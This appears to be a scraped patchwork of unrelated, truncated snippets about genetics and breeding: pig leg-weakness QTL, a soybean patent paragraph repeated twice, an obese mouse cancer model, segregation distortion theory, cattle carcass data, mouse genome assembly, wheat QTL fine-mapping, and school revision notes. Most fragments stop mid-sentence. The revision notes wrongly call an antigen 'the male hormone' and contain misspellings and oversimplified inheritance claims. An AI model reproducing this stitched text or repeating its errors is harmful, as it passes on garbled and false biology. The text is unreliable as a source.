In this study, we evaluated conformation traits describing leg and feet condition, osteochondrosis score and bone mineral density, which are important in selection to reduce the risk of leg weakness in pigs. However, the genetics of LW-related traits is complex [12, 31]. A number of factors are known to influence the development of LW, such as nutrition imbalance, high body weight, rapid growth rate, bone and joint diseases, bad body and leg structure, and mechanical stress [11, 13]. Moreover, it has been reported that the degree of LW and OC may be related to the breed and sex of animals [32]. However, in our study there was no effect of gender on LW-related traits, which implies that frequencies of LW and OC vary and depend on the genetic background of the animals [33]. It has been reported that the Duroc pure breed shows the highest incidence of OC compared to other European pig breeds (Pietrain, Landrace and Yorkshire) [32]. Our data suggest that the unfavourable QTL allele for OC originates ...
0135]When the term "soybean plant" is used in the context of the present invention, this also includes any single gene conversions of that variety. The term single gene converted plant as used herein refers to those soybean plants which are developed by a plant breeding technique called backcrossing wherein essentially all of the desired morphological and physiological characteristics of a variety are recovered in addition to the single gene transferred into the variety via the backcrossing technique. Backcrossing methods can be used with the present invention to improve or introduce a characteristic into the variety. The term "backcrossing" as used herein refers to the repeated crossing of a hybrid progeny back to the recurrent parent, i.e., backcrossing 1, 2, 3, 4, 5, 6, 7, 8 or more times to the recurrent parent. The parental soybean plant that contributes the gene for the desired characteristic is termed the nonrecurrent or donor parent. This terminology refers to the fact that the ...
0132]When the term "soybean plant" is used in the context of the present invention, this also includes any single gene conversions of that variety. The term single gene converted plant as used herein refers to those soybean plants which are developed by a plant breeding technique called backcrossing wherein essentially all of the desired morphological and physiological characteristics of a variety are recovered in addition to the single gene transferred into the variety via the backcrossing technique. Backcrossing methods can be used with the present invention to improve or introduce a characteristic into the variety. The term "backcrossing" as used herein refers to the repeated crossing of a hybrid progeny back to the recurrent parent, i.e., backcrossing 1, 2, 3, 4, 5, 6, 7, 8 or more times to the recurrent parent. The parental soybean plant that contributes the gene for the desired characteristic is termed the nonrecurrent or donor parent. This terminology refers to the fact that the ...
The numbers of obese people and diabetic patients are ever increasing. Obesity and diabetes are high-risk conditions for chronic diseases, including certain types of cancer, such as colorectal cancer (CRC). The aim of this study was to develop a novel animal model in order to clarify the pathobiology of CRC development in obese and diabetic patients. We developed an animal model of obesity and colorectal cancer by breeding the C57BL/KsJ-db/db (db/db) mouse, an animal model of obesity and type II diabetes, and the C57BL/6J-ApcMin/+ (Min/+) mouse, a model of familial adenomatous polyposis. At 15 weeks of age, the N9 backcross generation of C57BL/KsJ-db/db-ApcMin/+ (db/db-Min/+) mice developed an increased incidence and multiplicity of adenomas in the intestinal tract when compared to the db/m-Min/+ and m/m-Min/+ mice. Blood biochemical profile showed significant increases in insulin (8.3-fold to 11.7-fold), cholesterol (1.2-fold to 1.7-fold), and triglyceride (1.2-fold to 1.3-fold) in the db/db-Min/+ mice
We present a model of a primary locus subject to viability selection and an unlinked locus that causes sex-specific modification of the segregation ratio at the primary locus. If there is a balanced polymorphism at the primary locus, a population undergoing Mendelian segregation can be invaded by modifier alleles that cause sex-specific biases in the segregation ratio. Even though this effect is particularly strong if reciprocal heterozygotes at the primary locus have distinct viabilities, as might occur with genomic imprinting, it also applies if reciprocal heterozygotes have equal viabilities. The expected outcome of the evolution of sex-specific segregation distorters is all-and-none segregation schemes in which one allele at the primary locus undergoes complete drive in spermatogenesis and the other allele undergoes complete drive in oogenesis. All-and-none segregation results in a population in which all individuals are maximally fit heterozygotes. Unlinked modifiers that alter the ...
Preliminary data representing two of five calf crops in Cycle IV of the Germ Plasm Evaluation Program are reported. Carcass and meat data from 454 steers produced by mating 11 sire breeds to Hereford and Angus dams were obtained. Hereford (H) and Angus (A) sires born in the late 1960s (original) and also 1982 to 1984 (new) were compared. Steers sired by the new sample of H and A sires were heavier at slaughter than those of original sires, whereas marbling and percentages of trimmed retail product (% TRP) have not changed. HA and AH had lower % TRP than most crosses. Longhorn crosses were lightest of all crosses and were average for % TRP and % Choice. Shorthorn crosses were similar to new HA and AH in % TRP and had a higher % Choice than all crosses. Piedmontese crosses were lighter and dressed higher than new HA and AH. A low percentage graded Choice, but they excelled in muscling, trimness, and % TRP. Steaks from Piedmontese crosses were more tender than those from most breeds. Salers ...
Claudia Sevillanos paper Empirical determination of breed-of-origin of alleles in three-breed cross pigs is among the top three highly accessed articles in Genetics Selection Evolution. As Breed4Food we are proud of this accomplishment.. Together with Jeremie Vandenplas, John Bastiaansen and Mario Calus, Claudia Sevillano investigated the performance of an approach that assigns breed-of-origin of alleles in real data of three-breed cross pigs. Their research is part of the LocalPork project with partners Wageningen University and Research, University of Viçosa, Topigs Norsvin, and Topigs Norsvin do Brasil. The project was supported by NWO and Breed4Food.. Including crossbred animals. Although breeding programs for pigs and poultry aim at improving crossbred performance, they mainly use training populations that consist of purebred animals. For some traits, for example residual feed intake, the genetic correlation between purebred and crossbred performance is low. Therefore, including ...
Read "Identification of a tandem duplicated array in the Rhox α locus on mouse chromosome X, Mammalian Genome" on DeepDyve, the largest online rental service for scholarly research with thousands of academic publications available at your fingertips.
Di Nicolantonio, R., Kostka, V., Kwitek, A., Jacob, H., Thomas, W.G. and Harrap, S.B. 2006, Fine mapping of Lvm1: a quantitative trait locus controlling heart size independently of blood pressure, Pulmonary pharmacology & therapeutics, vol. 19, no. 1, pp. 70-73, doi: 10.1016/j.pupt.2005.02.010. ...
If you have a question about this talk, please contact .. Anthony Doran1, Thomas Keane1,2, and The Mouse Genomes Project consortium 1Wellcome Trust Sanger Institute, Wellcome Genome Campus, Hinxton, UK 2EMBL-EBI, Wellcome Genome Campus, Hinxton, UK. The Mouse Genomes Project has completed the first draft assembled genome sequences and strain specific gene annotation for twelve classical laboratory and four wild-derived inbred mouse strains (WSB/EiJ, CAST /EiJ, PWK /PhJ, and SPRET /EiJ). These strains include all of the founders of the Collaborative Cross and Diversity Outbred Cross. We used a hybrid approach for genome annotation, combining evidence from the mouse reference Gencode annotation and strain-specific RNA -seq and PacBio cDNA, to identify novel strain-specific gene structures and alleles. Approx. 20,000 protein coding genes and 45,000 transcripts are annotated per strain. As these strains are fully inbred, we used heterozygous SNP density as a marker for highly polymorphic loci, and ...
Limitation of Number of Strains and Persistence of False Positive Loci in QTL Mapping Using Recombinant Inbred Strains. . Biblioteca virtual para leer y descargar libros, documentos, trabajos y tesis universitarias en PDF. Material universiario, documentación y tareas realizadas por universitarios en nuestra biblioteca. Para descargar gratis y para leer online.
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We will work to validate, dissect and characterize a QTL for kernel weight (KW) located on chromosome 6A. The QTL was identified in a RIL population derived the cross SS-MPV 57 x Massey when grown at Raleigh, NC for three years. The QTL has an additive effect of 1.75 mg. In this population, the KW QTL coincides with plant height QTL having an additive effect of 3.78 cm. Heterozygous plants were identified in F5-derived RIL for development of fine-mapping populations. This QTL region is physically large and spans the centromere. Observed recombination in the HIFs has been localized towards the ends of the QTL interval.. A second population of 358 RIL from the cross SS-MPV57 x LA95135 is being used to validate the KW QTL effect. This population is also being targeted for identification of additional QTL in regions more amenable to fine-mapping and cloning.. ...
Journal de Physique Letttres, Journal de Physique Archives représente une mine dinformations facile à consulter sur la manière dont la physique a été publiée depuis 1872.
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Antigen is the male hormone.. Each of our body cells have 46 chromosomes (23 pairs). Gene - controls a characteristic. Allelle - different form of gene. Gene - hair colour, Allele - blonde, brown, black, red etc. Gene - Eye colour, Allelle - blue, brown, green etc. Gene - Blood type, Allelle - A,B,AB,0. Some genetic diseases. Allelles can be: dominant = need one copy eg black hair or recessive = need two copies eg blonde hair. Genetic crosses (punnet squares). Mum is a carrier of cystic fybrosis and dad has cystic fybrosis. CF…. ...
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